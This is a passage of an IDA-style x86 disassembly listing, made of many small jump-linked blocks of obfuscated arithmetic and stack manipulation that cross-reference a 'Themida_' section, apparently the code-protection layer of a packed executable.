		pop	[esp+14h+var_14]
		jmp	loc_560F64
; ---------------------------------------------------------------------------


loc_56CB57:				; CODE XREF: sub_56207C-143Fj
		sub	edx, ebx
		pop	ebx
		push	edx
		jmp	loc_56C0F9
; ---------------------------------------------------------------------------


loc_56CB60:				; CODE XREF: sub_56207C-1810j
		pop	edx
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		xchg	eax, ecx
		not	ecx
		jmp	loc_55FB93
; ---------------------------------------------------------------------------


loc_56CB72:				; CODE XREF: sub_56207C+11441j
		shr	edx, 3
		xor	edx, 254E2F38h
		xor	ebp, edx
		pop	edx
		add	ebp, 821B92h
		jmp	loc_561776
; ---------------------------------------------------------------------------


loc_56CB89:				; CODE XREF: sub_56207C+B9D2j
		push	ebx
		push	4
		jmp	loc_569509
; ---------------------------------------------------------------------------


loc_56CB94:				; CODE XREF: sub_56207C+F86j
		shr	edx, 4
		sub	edx, 1203791h
		mov	edi, edx
		jmp	loc_561636
; ---------------------------------------------------------------------------


loc_56CBA4:				; CODE XREF: sub_56207C+7490j
		pop	ebx
		sub	edi, 2
		push	edi
		push	[esp+40h+var_3C]
		pop	edi
		pop	[esp+40h+var_40]
		pop	esp
		jmp	loc_55E5DC
; ---------------------------------------------------------------------------


loc_56CBB7:				; CODE XREF: sub_56207C+7BECj
		push	[esp+10h+var_10]
		push	[esp+14h+var_14]
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		sub	esp, 4
		mov	[esp+18h+var_18], edi
		jmp	loc_55FBF2
; ---------------------------------------------------------------------------


loc_56CBE5:				; CODE XREF: sub_56207C+7CFAj
		push	edi
		mov	edi, 4EE61702h
		add	esi, edi
		pop	edi
		push	edx
		mov	edx, 0B3223E5Ch
		sub	esi, edx
		jmp	loc_5663EB
; ---------------------------------------------------------------------------


loc_56CBFB:				; CODE XREF: sub_56207C+CC8Dj
		add	eax, 50DA9ECCh
		add	ebx, eax
		pop	eax
		jmp	loc_5692C2
; ---------------------------------------------------------------------------


loc_56CC08:				; CODE XREF: sub_56207C+1F02j
		mov	[esp+20h+var_20], edx
		push	edi
		sub	esp, 4
		mov	[esp+28h+var_28], ebp
		jmp	loc_568D52
; ---------------------------------------------------------------------------


loc_56CC17:				; CODE XREF: sub_56207C+188Aj
		mov	ecx, 6FFB0C08h
		add	[esp+26h+var_24+2], ecx
		pop	ecx
		mov	edx, [esp+22h+var_24+2]
		add	esp, 4
		jmp	sub_5613BA
; ---------------------------------------------------------------------------


loc_56CC2F:				; CODE XREF: sub_56207C-3298j
		add	esi, edx
		mov	edx, [esp+0Ah+var_C+2]
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 13FB2FD1h
		shr	edx, 7
		add	edx, 403E2F57h
		shr	edx, 1
		xor	edx, 203312DFh
		sub	edi, 183D47B2h
		add	edi, edx
		add	edi, 183D47B2h
		pop	edx
		jmp	loc_56804A
; ---------------------------------------------------------------------------


loc_56CC62:				; CODE XREF: sub_56207C+52DBj
		pop	eax
		xchg	esi, [esp+52h+var_54+2]
		jmp	loc_56C972
; ---------------------------------------------------------------------------


loc_56CC6B:				; CODE XREF: sub_56207C+F8ACj
		shl	esi, 5
		add	esi, 3C9B3FECh
		or	esi, 1E826519h
		push	eax
		push	ebx
		push	4892438Dh
		pop	ebx
		xor	ebx, 79E14E07h
		sub	ebx, 72C79811h
		jmp	loc_56E434
; ---------------------------------------------------------------------------


loc_56CC93:				; CODE XREF: sub_56207C+6678j
		pop	esi
		xchg	edx, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		jmp	loc_5615DE
; ---------------------------------------------------------------------------


loc_56CCB4:				; CODE XREF: sub_56207C+BC3Bj
		push	[esp+28h+var_24]
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4
		pop	[esp+28h+var_28]
		pop	esp
		push	7478h
		mov	[esp+24h+var_24], esi
		mov	esi, esp
		jmp	loc_56EE18
; ---------------------------------------------------------------------------


loc_56CCD4:				; CODE XREF: sub_56207C+4231j
		sub	esp, 4
		mov	[esp+0], edi
		push	ecx
		mov	ecx, 1DAD7330h
		sub	ecx, 7BDF3BDAh
		not	ecx
		neg	ecx
		jmp	loc_572F9F
; ---------------------------------------------------------------------------


loc_56CCF2:				; CODE XREF: sub_56207C-BF9j
		neg	bh
		shl	bh, 6
		jmp	loc_56EFD6
; ---------------------------------------------------------------------------


loc_56CCFC:				; CODE XREF: sub_56207C+17D5j
		mov	[esp+40h+var_40], esp
		add	[esp+40h+var_40], 4
		pop	[esp+40h+var_40]
		add	[esp+3Ch+var_3C], 4
		pop	edx
		push	ecx
		push	5C5h
		mov	[esp+40h+var_40], edi
		push	ebp
		push	ecx
		mov	ecx, 702A1315h
		and	ecx, 5047156Bh
		and	ecx, 22810F8Ah
		push	edi
		mov	edi, 3B226AB1h
		shl	edi, 6
		xor	edi, 0B60A8197h
		add	ecx, edi
		pop	edi
		jmp	loc_563ED0
; ---------------------------------------------------------------------------


loc_56CD41:				; CODE XREF: sub_56207C+F9Aj
		pop	ecx
		not	edx
		xor	edx, 0FBD43C0Ah
		jmp	loc_565E7D
; ---------------------------------------------------------------------------


loc_56CD4F:				; CODE XREF: sub_56207C+9386j
		push	[esp+3Ch+var_3C]
		mov	esi, [esp+40h+var_40]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56D456
; ---------------------------------------------------------------------------


loc_56CD66:				; CODE XREF: sub_56207C+A11Dj
		mov	cx, word ptr [esp+24h+var_24]
		add	esp, 2
		xor	bh, 7Eh
		mov	cl, bh
		jmp	loc_565B4C
; ---------------------------------------------------------------------------


loc_56CD77:				; CODE XREF: sub_56207C+6308j
		not	esi
		jmp	loc_5629AF
; ---------------------------------------------------------------------------


loc_56CD7E:				; CODE XREF: sub_56207C+32ACj
		xor	ebx, 3C473D98h
		sub	eax, 7EE235A8h
		add	eax, ebx
		add	eax, 7EE235A8h
		pop	ebx
		xchg	eax, [esp+34h+var_34]
		mov	esp, [esp+34h+var_34]
		push	ecx
		push	esi
		push	ebp
		push	eax
		mov	eax, 66432D2Dh
		mov	ebp, 0B28ADA9Fh
		add	ebp, eax
		pop	eax
		push	ebp
		pop	esi
		pop	ebp
		shl	esi, 6
		sub	esi, 3381F2DCh
		mov	ecx, esi
		pop	esi
		add	esi, 65013840h
		add	esi, ecx
		jmp	loc_55FA46
; ---------------------------------------------------------------------------


loc_56CDC4:				; CODE XREF: sub_56207C+A977j
		mov	eax, 4
		mov	ebx, eax
		pop	eax
		jmp	loc_563B7B
; ---------------------------------------------------------------------------


loc_56CDD1:				; CODE XREF: sub_56207C-253Fj
		xor	bl, 9Ah
		add	al, bl
		pop	bx
		push	small 108Bh
		mov	word ptr [esp+4+var_4],	dx
		mov	dh, 0D2h
		add	al, 75h
		sub	al, 0D4h
		add	al, dh
		push	cx
		push	eax
		jmp	loc_56C8D3
; ---------------------------------------------------------------------------


loc_56CDF0:				; CODE XREF: sub_56207C-372Aj
		add	edi, 6C87322Ah
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		mov	edx, edi
		jmp	loc_5662D1
; ---------------------------------------------------------------------------


loc_56CE06:				; CODE XREF: sub_56207C+E29Dj
		pop	ecx
		xor	ebx, 5E57710h
		shr	ebx, 5
		sub	esp, 4
		jmp	loc_56A0AC
; ---------------------------------------------------------------------------


loc_56CE1B:				; CODE XREF: sub_56207C+D436j
		or	edx, 13BC2786h
		shr	edx, 2
		jmp	loc_56BCE5
; ---------------------------------------------------------------------------


loc_56CE29:				; CODE XREF: sub_56207C-79Dj
		sub	esp, 4
		mov	[esp+1Ch+var_1C], edx
		mov	edx, esi
		mov	edi, edx
		pop	edx
		push	[esp+18h+var_18]
		pop	esi
		push	edi
		jmp	sub_55F661
; ---------------------------------------------------------------------------


loc_56CE41:				; CODE XREF: sub_56207C+C31Bj
		pop	edx
		jmp	loc_565815
; ---------------------------------------------------------------------------


loc_56CE47:				; CODE XREF: sub_56207C+60B3j
		pop	ecx
		add	ebp, 70E249DFh
		add	ebp, eax
		jmp	loc_56E1CE
; ---------------------------------------------------------------------------


loc_56CE55:				; CODE XREF: sub_56207C+A658j
		xor	dh, al
		pop	eax
		sub	dh, 26h
		add	bl, dh
		mov	edx, [esp+58h+var_58]
		add	esp, 4
		push	eax
		mov	ah, bl
		jmp	loc_5721B7
; ---------------------------------------------------------------------------


loc_56CE6E:				; CODE XREF: sub_56207C-90Bj
		add	eax, 4
		push	ebx
		jmp	loc_564912
; ---------------------------------------------------------------------------


loc_56CE79:				; CODE XREF: sub_56207C+51ECj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+24h+var_24]
		pop	esp
		add	esp, 4
		add	ebx, edi
		push	edx
		push	0
		jmp	loc_55F90B
; ---------------------------------------------------------------------------


loc_56CE9C:				; CODE XREF: sub_56207C+E870j
		push	3DF7h
		mov	[esp+28h+var_28], eax
		pop	dword ptr [edi+24h]
		pop	eax
		jmp	loc_56323D
; ---------------------------------------------------------------------------


loc_56CEAD:				; CODE XREF: sub_56207C-280Bj
		pop	eax
		jmp	loc_5673EB
; ---------------------------------------------------------------------------


loc_56CEB3:				; CODE XREF: sub_56207C+A8F1j
		neg	edi
		dec	edi
		add	edi, 58A2135h
		xor	esi, edi
		jmp	loc_566915
; ---------------------------------------------------------------------------


loc_56CEC3:				; CODE XREF: sub_56207C+1F1Cj
		sub	al, 35h
		push	bx
		mov	bl, 0A2h
		add	al, bl
		pop	bx
		add	al, 3Ch
		add	al, bl
		push	edx
		jmp	loc_5698F8
; ---------------------------------------------------------------------------


loc_56CED7:				; CODE XREF: sub_56207C+4E33j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+46h+var_48+2]
		pop	esp
		jmp	loc_5724FF
; ---------------------------------------------------------------------------


loc_56CEEB:				; CODE XREF: sub_56207C-6EFj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], ebx
		xor	ebx, [esp+1Eh+var_20+2]
		pop	esp
		xor	bl, al
		movzx	eax, al
		jmp	loc_56957B
; ---------------------------------------------------------------------------


loc_56CF0D:				; CODE XREF: sub_55F661+862j
		xchg	edi, [esp+1Ah+var_1C+2]
		pop	esp
		add	esi, edi
		jmp	loc_56BEAC
; ---------------------------------------------------------------------------


loc_56CF18:				; CODE XREF: sub_56207C-1906j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	[esp+26h+var_24+2]
		jmp	loc_572922
; ---------------------------------------------------------------------------


loc_56CF31:				; CODE XREF: sub_56207C+C0F4j
		sub	ecx, 0CFE78BCh
		pop	eax
		xchg	ecx, [esp+26h+var_28+2]
		pop	esp
		push	ecx
		mov	ecx, 58934B8Ah
		push	ecx
		not	[esp+2Ah+var_2C+2]
		pop	ecx
		dec	ecx
		xor	ecx, 44FC6794h
		or	ecx, 1CCC7390h
		xor	ecx, 0FFDCF3F2h
		add	ebx, ecx
		mov	ecx, [esp+26h+var_28+2]
		add	esp, 4
		xor	ebx, [esp+22h+var_24+2]
		jmp	loc_56D5A0
; ---------------------------------------------------------------------------


loc_56CF6D:				; CODE XREF: sub_56207C+1595j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+20h+var_20]
		jmp	loc_561725
; ---------------------------------------------------------------------------


loc_56CF80:				; CODE XREF: sub_56207C+F69Ej
		sub	esp, 4
		mov	[esp+24h+var_24], edi
		push	[esp+24h+var_20]
		pop	edi
		jmp	loc_56B2DD
; ---------------------------------------------------------------------------


loc_56CF93:				; CODE XREF: sub_56207C+7AFAj
		mov	[esp+46h+var_48+2], ebp
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], esp
		add	[esp+4Ah+var_4C+2], 4
		pop	ebp
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], edi
		push	639C5B14h
		pop	edi
		jmp	loc_57055B
; ---------------------------------------------------------------------------


loc_56CFB5:				; CODE XREF: sub_56207C+DCCDj
		xor	ebx, esi
		push	[esp+4Ah+var_4C+2]
		jmp	loc_573197
; ---------------------------------------------------------------------------


loc_56CFBF:				; CODE XREF: sub_56207C+C423j
		mov	ecx, esp
		jmp	loc_56A68A
; ---------------------------------------------------------------------------


loc_56CFC6:				; CODE XREF: sub_56207C+B18Fj
		add	esp, 4
		jmp	loc_56F3CD
; ---------------------------------------------------------------------------


loc_56CFCE:				; CODE XREF: sub_56207C+DDC8j
		xchg	ecx, [esp+4Ah+var_4C+2]
		pop	esp
		sub	esi, 0C88613EDh
		sub	ebx, esi
		jmp	loc_56DD4B
; ---------------------------------------------------------------------------


loc_56CFDF:				; CODE XREF: sub_56207C+9162j
		pop	ecx
		push	26Eh
		mov	[esp+12h+var_14+2], edx
		push	[esp+12h+var_10+2]
		mov	edx, [esp+16h+var_18+2]
		jmp	loc_55FB42
; ---------------------------------------------------------------------------


loc_56CFF4:				; CODE XREF: sub_56207C+366Dj
		push	ecx
		push	ebp
		mov	ebp, 56404EABh
		neg	ebp
		and	ebp, 1CB07BC0h
		jmp	loc_560D78
; ---------------------------------------------------------------------------


loc_56D008:				; CODE XREF: sub_56207C+750Dj
		add	esp, 4
		sub	esp, 4
		mov	[esp+48h+var_48], ecx
		mov	ecx, 395E47C4h
		add	ecx, 1CD32AAh
		shl	ecx, 2
		and	ecx, 7E2420B6h
		push	2287h
		mov	[esp+4Ch+var_4C], ecx
		not	[esp+4Ch+var_4C]
		push	[esp+4Ch+var_4C]
		pop	ecx
		add	esp, 4
		add	ecx, 6C2420B5h
		sub	ebp, 4B576DBAh
		add	ebp, ecx
		add	ebp, 4B576DBAh
		push	[esp+48h+var_48]
		pop	ecx
		jmp	loc_55F2D4
; ---------------------------------------------------------------------------


loc_56D057:				; CODE XREF: sub_56207C+B78j
		push	edx
		not	[esp+34h+var_34]
		pop	edx
		shl	edx, 8
		xor	edx, 0EAEDE202h
		jmp	loc_56052E
; ---------------------------------------------------------------------------


loc_56D06A:				; CODE XREF: sub_56207C-2537j
		pop	dword ptr [esp+0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56D075:				; CODE XREF: sub_56207C+FAF9j
		add	ebp, esi
		add	ebp, 7B001254h
		pop	esi
		mov	ecx, ebp
		pop	ebp
		add	esi, ecx
		pop	ecx
		xor	esi, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], esi
		xor	esi, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		mov	ax, word ptr [esp-10h+arg_C]
		push	ebx
		jmp	loc_5616FB
; ---------------------------------------------------------------------------


loc_56D09A:				; DATA XREF: Themida_:0055E278o
		push	[esp-0Ch+arg_8]
		push	[esp-8+arg_4]
		push	[esp-4+arg_0]
		pop	eax
		push	edi
		jmp	loc_571A3A
; ---------------------------------------------------------------------------


loc_56D0AA:				; DATA XREF: Themida_:0055E1F4o
		mov	cx, [esp+0]
		sub	esp, 4
		jmp	loc_56A558
; ---------------------------------------------------------------------------


loc_56D0B6:				; CODE XREF: sub_56207C+C208j
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		jmp	loc_56E163
; ---------------------------------------------------------------------------


loc_56D0D0:				; CODE XREF: sub_56207C+E7Cj
		sub	eax, 6E426F63h
		pop	ebp
		xor	ebx, eax
		xor	edx, eax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56D0DF:				; CODE XREF: sub_56207C+C6DEj
		push	esi
		jmp	loc_55F32A
; ---------------------------------------------------------------------------


loc_56D0E5:				; CODE XREF: sub_56207C+7CA9j
		add	esi, 7609290Ah
		pop	edx
		push	eax
		push	edx
		push	47D051F2h
		push	[esp+28h+var_28]
		pop	edx
		add	esp, 4
		push	edx
		add	[esp+28h+var_28], 555A08C1h
		pop	eax
		sub	eax, 555A08C1h
		jmp	loc_56757F
; ---------------------------------------------------------------------------


loc_56D110:				; CODE XREF: sub_56207C+71F3j
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		sub	edx, 0DE14CADAh
		push	ecx
		mov	ecx, 6A742061h
		jmp	loc_5640DC
; ---------------------------------------------------------------------------


loc_56D127:				; CODE XREF: sub_56207C+6794j
		or	bh, 93h
		shl	bh, 1
		and	bh, 0E2h
		or	bh, 0AEh
		dec	bh
		xor	bh, 0A9h
		sub	cl, bh
		pop	ebx
		add	al, 2Fh
		jmp	loc_562397
; ---------------------------------------------------------------------------


loc_56D141:				; CODE XREF: sub_56207C+7422j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+44h+var_44]
		pop	esp
		mov	[esp+40h+var_40], ebx
		mov	ebx, 0C468F8Fh
		xor	eax, ebx
		jmp	loc_56A370
; ---------------------------------------------------------------------------


loc_56D160:				; CODE XREF: sub_56207C+E442j
		add	ecx, ebx
		pop	ebx
		add	ecx, 35D92E10h
		add	ecx, ebp
		sub	ecx, 35D92E10h
		push	edi
		mov	edi, 13756242h
		and	edi, 4BBA0F0Fh
		shl	edi, 4
		inc	edi
		and	edi, 46D52CEDh
		jmp	loc_56AC1D
; ---------------------------------------------------------------------------


loc_56D18C:				; DATA XREF: Themida_:0055E180o
		mov	eax, [esp+40h+var_40]
		push	688Fh
		mov	[esp+44h+var_44], ebp
		push	4711h
		push	1F3Dh
		mov	[esp+4Ch+var_4C], esp
		push	59A6h
		mov	[esp+50h+var_50], ebx
		push	4
		jmp	loc_55F445
; ---------------------------------------------------------------------------


loc_56D1B6:				; CODE XREF: sub_56207C+A7C5j
		mov	[esp+2Ah+var_2C+2], esi
		push	esp
		push	[esp+2Eh+var_30+2]
		pop	esi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 20427301h
		or	esi, 12227DCFh
		jmp	loc_56B75D
; ---------------------------------------------------------------------------


loc_56D1D2:				; CODE XREF: sub_56207C-2D57j
		pop	esi
		push	edx
		mov	edx, eax
		push	ecx
		mov	ecx, edx
		mov	ebp, ecx
		pop	ecx
		pop	edx
		pop	eax
		add	edx, ebp
		pop	ebp
		jmp	loc_560815
; ---------------------------------------------------------------------------


loc_56D1E6:				; DATA XREF: Themida_:0055E130o
		lodsb
		jmp	loc_562C72
; ---------------------------------------------------------------------------


loc_56D1EC:				; CODE XREF: sub_56207C-2934j
		push	edx
		push	ecx
		mov	ecx, 66A22AEEh
		jmp	loc_566651
; ---------------------------------------------------------------------------


loc_56D1F8:				; CODE XREF: sub_56207C+3767j
		sub	[esp+30h+var_30], 2EA86AA0h
		pop	esi
		add	esi, 2EA86AA0h
		mov	ecx, esi
		mov	esi, [esp+2Ch+var_2C]
		jmp	loc_56CFC6
; ---------------------------------------------------------------------------


loc_56D210:				; CODE XREF: sub_56207C-2D75j
		or	ecx, 47BD7625h
		jmp	loc_569AF1
; ---------------------------------------------------------------------------


loc_56D21B:				; CODE XREF: sub_56207C-1349j
		mov	eax, 7ACF7347h
		add	ebx, eax
		jmp	loc_56BF43
; ---------------------------------------------------------------------------


loc_56D227:				; CODE XREF: sub_56207C+A9E7j
		mov	edi, 38D6A3Ch
		sub	edx, edi
		pop	edi
		pop	eax
		add	edx, ebp
		sub	edx, 280D1279h
		pop	ebp
		jmp	loc_570F1D
; ---------------------------------------------------------------------------


loc_56D23E:				; CODE XREF: sub_56207C+4B81j
		add	esp, 4
		xchg	edx, [esp+0Eh+var_10+2]
		pop	esp
		inc	word ptr [esp+0Ah+var_C+2]
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56D252:				; CODE XREF: sub_56207C+DFF8j
		mov	edx, [esp+0Eh+var_10+2]
		jmp	loc_57253B
; ---------------------------------------------------------------------------


loc_56D25A:				; CODE XREF: sub_56207C+6C01j
		add	bl, 6Ah
		sub	bl, ah
		push	1D2Dh
		mov	[esp+38h+var_38], ecx
		push	ebx
		mov	bh, 0B6h
		push	1EB0h
		mov	[esp+40h+var_40], eax
		push	ecx
		mov	ch, bh
		mov	al, ch
		pop	ecx
		mov	ch, al
		mov	eax, [esp+40h+var_40]
		add	esp, 4
		pop	ebx
		inc	ch
		jmp	loc_566F95
; ---------------------------------------------------------------------------


loc_56D288:				; CODE XREF: sub_56207C+4284j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp-0Ch+arg_8]
		jmp	loc_5600E9
; ---------------------------------------------------------------------------


loc_56D29C:				; CODE XREF: sub_55EF23+6j
		mov	[esp-0Ch+arg_8], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_561AC8
; ---------------------------------------------------------------------------


loc_56D2AB:				; CODE XREF: sub_56207C+5512j
		push	eax
		xchg	esi, [esp+24h+var_24]
		not	esi
		xchg	esi, [esp+24h+var_24]
		pop	eax
		jmp	loc_56E1B9
; ---------------------------------------------------------------------------


loc_56D2BA:				; CODE XREF: sub_56207C+F6FCj
		sub	esp, 4
		mov	[esp+24h+var_24], esp
		push	edx
		mov	edx, 4
		sub	[esp+28h+var_24], 31E21EF6h
		add	[esp+28h+var_24], edx
		push	ebx
		jmp	loc_5700A8
; ---------------------------------------------------------------------------


loc_56D2D8:				; CODE XREF: sub_56207C+27B0j
		add	esp, 4
		pop	[esp+0Ah+var_C+2]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+6+var_8+2]
		jmp	loc_57333E
; ---------------------------------------------------------------------------


loc_56D2F5:				; CODE XREF: sub_56207C+E4CAj
		xor	[esp+6+var_8+2], ebp
		xor	ebp, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		mov	[esp+6+var_8+2], esp
		push	edi
		mov	edi, 4
		add	[esp+0Ah+var_8+2], edi
		pop	edi
		pop	edx
		push	ebx
		mov	ebx, 36F9341Bh
		sub	ebx, 30C23131h
		or	ebx, 0C6D7670h
		jmp	loc_56DC57
; ---------------------------------------------------------------------------


loc_56D324:				; CODE XREF: sub_56207C+66BFj
		mov	[esp+2Ch+var_2C], ecx
		mov	edx, [esp+2Ch+var_2C]
		add	esp, 4
		pop	ecx
		not	ecx
		xchg	ecx, edx
		jmp	loc_56A529
; ---------------------------------------------------------------------------


loc_56D33A:				; CODE XREF: sub_56207C+312Bj
		pop	ebx
		jmp	loc_560FD3
; ---------------------------------------------------------------------------


loc_56D340:				; CODE XREF: sub_56207C+CF33j
		pop	edx
		push	small 2623h
		mov	word ptr [esp+16h+var_18+2], bx
		jmp	loc_562753
; ---------------------------------------------------------------------------


loc_56D34E:				; CODE XREF: sub_56207C+5F6j
		push	edx
		mov	edx, esp
		jmp	sub_5614B0
; ---------------------------------------------------------------------------


loc_56D356:				; CODE XREF: sub_56207C+EBA1j
		push	esp
		pop	[esp+46h+var_48+2]
		add	[esp+42h+var_44+2], 4
		pop	ebx
		push	edi
		jmp	loc_560126
; ---------------------------------------------------------------------------


loc_56D365:				; CODE XREF: sub_56207C+E283j
		push	ebp
		mov	ebp, 15737590h
		push	ecx
		mov	ecx, 293E29EFh
		sub	ecx, 1934F2Dh
		add	ecx, 578A190Dh
		xor	ecx, 6F2DDB73h
		sub	ebp, ecx
		pop	ecx
		add	ebp, 74DC65D2h
		xor	ebp, 444C9D5Fh
		add	edi, ebp
		pop	ebp
		add	edi, 6F943D7Bh
		sub	edi, esi
		sub	edi, 6F943D7Bh
		jmp	loc_56AE54
; ---------------------------------------------------------------------------


loc_56D3A8:				; CODE XREF: sub_56207C+8C5Bj
		pop	ebp
		add	ecx, eax
		pop	eax
		sub	ecx, edx
		sub	ecx, 3F3B72C5h
		add	ecx, 37FE4263h
		jmp	loc_55E641
; ---------------------------------------------------------------------------


loc_56D3BF:				; CODE XREF: sub_56207C+6E10j
		mov	eax, 4D145407h
		sub	edx, eax
		jmp	loc_5629E5
; ---------------------------------------------------------------------------


loc_56D3CB:				; CODE XREF: sub_56207C-127Dj
		pop	ecx
		jmp	loc_566DC8
; ---------------------------------------------------------------------------


loc_56D3D1:				; CODE XREF: sub_56207C+8340j
		mov	edx, [esp+24h+var_24]
		add	esp, 4
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	small 3A0Bh
		mov	word ptr [esp+1Eh+var_20+2], ax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56D3F2:				; CODE XREF: sub_56207C+10DA6j
		push	ebx
		mov	ebx, 2AF34D9Ch
		push	edi
		jmp	loc_56D938
; ---------------------------------------------------------------------------


loc_56D3FE:				; CODE XREF: sub_56207C+A21Aj
		mov	[esp+34h+var_34], eax
		mov	eax, 4
		add	esi, 27544E06h
		add	esi, eax
		jmp	loc_56F381
; ---------------------------------------------------------------------------


loc_56D413:				; CODE XREF: sub_56207C+B777j
		pop	edx
		push	75CFh
		mov	[esp+34h+var_34], ecx
		push	5CF413D1h
		pop	ecx
		jmp	loc_572B41
; ---------------------------------------------------------------------------


loc_56D427:				; DATA XREF: Themida_:0055E1DCo
		mov	cx, word ptr [esp+34h+var_34]
		push	295Eh
		mov	[esp+38h+var_38], ecx
		sub	esp, 4
		mov	[esp+3Ch+var_3C], esp
		add	[esp+3Ch+var_3C], 4
		pop	ecx
		jmp	loc_565820
; ---------------------------------------------------------------------------


loc_56D446:				; CODE XREF: sub_56207C-26F1j
		pop	ecx
		mov	esi, [esp+2+var_4+2]
		add	esp, 4
		push	edx
		jmp	loc_55FFD5
; ---------------------------------------------------------------------------


loc_56D456:				; CODE XREF: sub_56207C+ACE5j
		xchg	ecx, [esp+44h+var_44]
		pop	esp
		add	esp, 4
		sub	eax, esi
		jmp	loc_5692F8
; ---------------------------------------------------------------------------


loc_56D467:				; CODE XREF: sub_56207C+4F14j
		mov	ebp, esp
		jmp	loc_5664B7
; ---------------------------------------------------------------------------


loc_56D46E:				; CODE XREF: sub_56207C-1FEj
		not	al
		xchg	al, dl
		not	dl
		neg	dl
		xor	dl, 82h
		xor	bl, dl
		pop	edx
		push	ax
		jmp	loc_566072
; ---------------------------------------------------------------------------


loc_56D483:				; CODE XREF: sub_56207C+1111Cj
		push	edi
		mov	edi, esp
		jmp	loc_56DC69
; ---------------------------------------------------------------------------


loc_56D48B:				; CODE XREF: sub_56207C+E361j
		pop	edi
		pop	edx
		push	edx
		push	647A6F0Eh
		jmp	loc_570AA5
; ---------------------------------------------------------------------------


loc_56D498:				; CODE XREF: sub_56207C+CD97j
		add	bl, 0A0h
		push	dx
		mov	dh, 77h
		sub	bl, dh
		pop	dx
		pop	eax
		sub	bl, 0B2h
		sub	bl, al
		push	cx
		mov	cl, 0B2h
		jmp	loc_5614A7
; ---------------------------------------------------------------------------


loc_56D4B2:				; CODE XREF: sub_56207C+72E6j
		mov	edx, 877FAEECh
		add	edx, 71C767D1h
		add	edx, esi
		push	23ACh
		mov	[esp+0], ebp
		mov	ebp, 132D6BE3h
		shl	ebp, 8
		or	ebp, 2118372Eh
		dec	ebp
		not	ebp
		sub	ebp, 60BCA101h
		sub	edx, ebp
		pop	ebp
		mov	esi, [esp-4+arg_0]
		jmp	loc_571669
; ---------------------------------------------------------------------------


loc_56D4E9:				; CODE XREF: sub_56207C-2D83j
		xor	edi, ecx
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		mov	ecx, edi
		mov	edi, [esp+1Ah+var_1C+2]
		add	esp, 4
		push	ebx
		mov	ebx, 689B10D1h
		or	ecx, ebx
		pop	ebx
		sub	ecx, 33AA62C2h
		add	ecx, 0D1FF4B4Bh
		or	ebx, ecx
		pop	ecx
		jmp	loc_55EBF4
; ---------------------------------------------------------------------------


loc_56D519:				; DATA XREF: Themida_:0055E288o
		sub	esp, 4
		push	esp
		pop	[esp+1Ah+var_1C+2]
		push	0DA3h
		mov	[esp+1Ah+var_1C+2], ebx
		push	4
		mov	ebx, [esp+1Eh+var_20+2]
		jmp	loc_563A19
; ---------------------------------------------------------------------------


loc_56D538:				; CODE XREF: sub_56207C+BCDAj
		pop	esi
		jmp	loc_568CFF
; ---------------------------------------------------------------------------


loc_56D53E:				; CODE XREF: sub_56207C+F131j
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, esp
		jmp	loc_56AE27
; ---------------------------------------------------------------------------


loc_56D54B:				; CODE XREF: sub_56207C-18E8j
		mov	eax, ecx
		pop	ecx
		jmp	loc_55F73E
; ---------------------------------------------------------------------------


loc_56D553:				; CODE XREF: sub_56207C+2913j
		mov	[esp+22h+var_24+2], edi
		mov	edi, edx
		mov	esi, edi
		jmp	loc_56F1A8
; ---------------------------------------------------------------------------


loc_56D55F:				; CODE XREF: sub_56207C-2D64j
		mov	ecx, 482276F0h
		jmp	loc_56886E
; ---------------------------------------------------------------------------


loc_56D569:				; CODE XREF: sub_56207C-3A81j
		pop	ecx
		add	eax, ebx
		mov	ebx, [esp+18h+var_18]
		jmp	loc_56F147
; ---------------------------------------------------------------------------


loc_56D574:				; CODE XREF: sub_56207C+102A4j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_566429
; ---------------------------------------------------------------------------


loc_56D587:				; CODE XREF: sub_56207C+40F9j
		pop	edx
		jmp	loc_571090
; ---------------------------------------------------------------------------


loc_56D58D:				; CODE XREF: sub_56207C-E5Dj
		push	ebx
		mov	ebx, 6AFE3F98h
		jmp	loc_562CEB
; ---------------------------------------------------------------------------


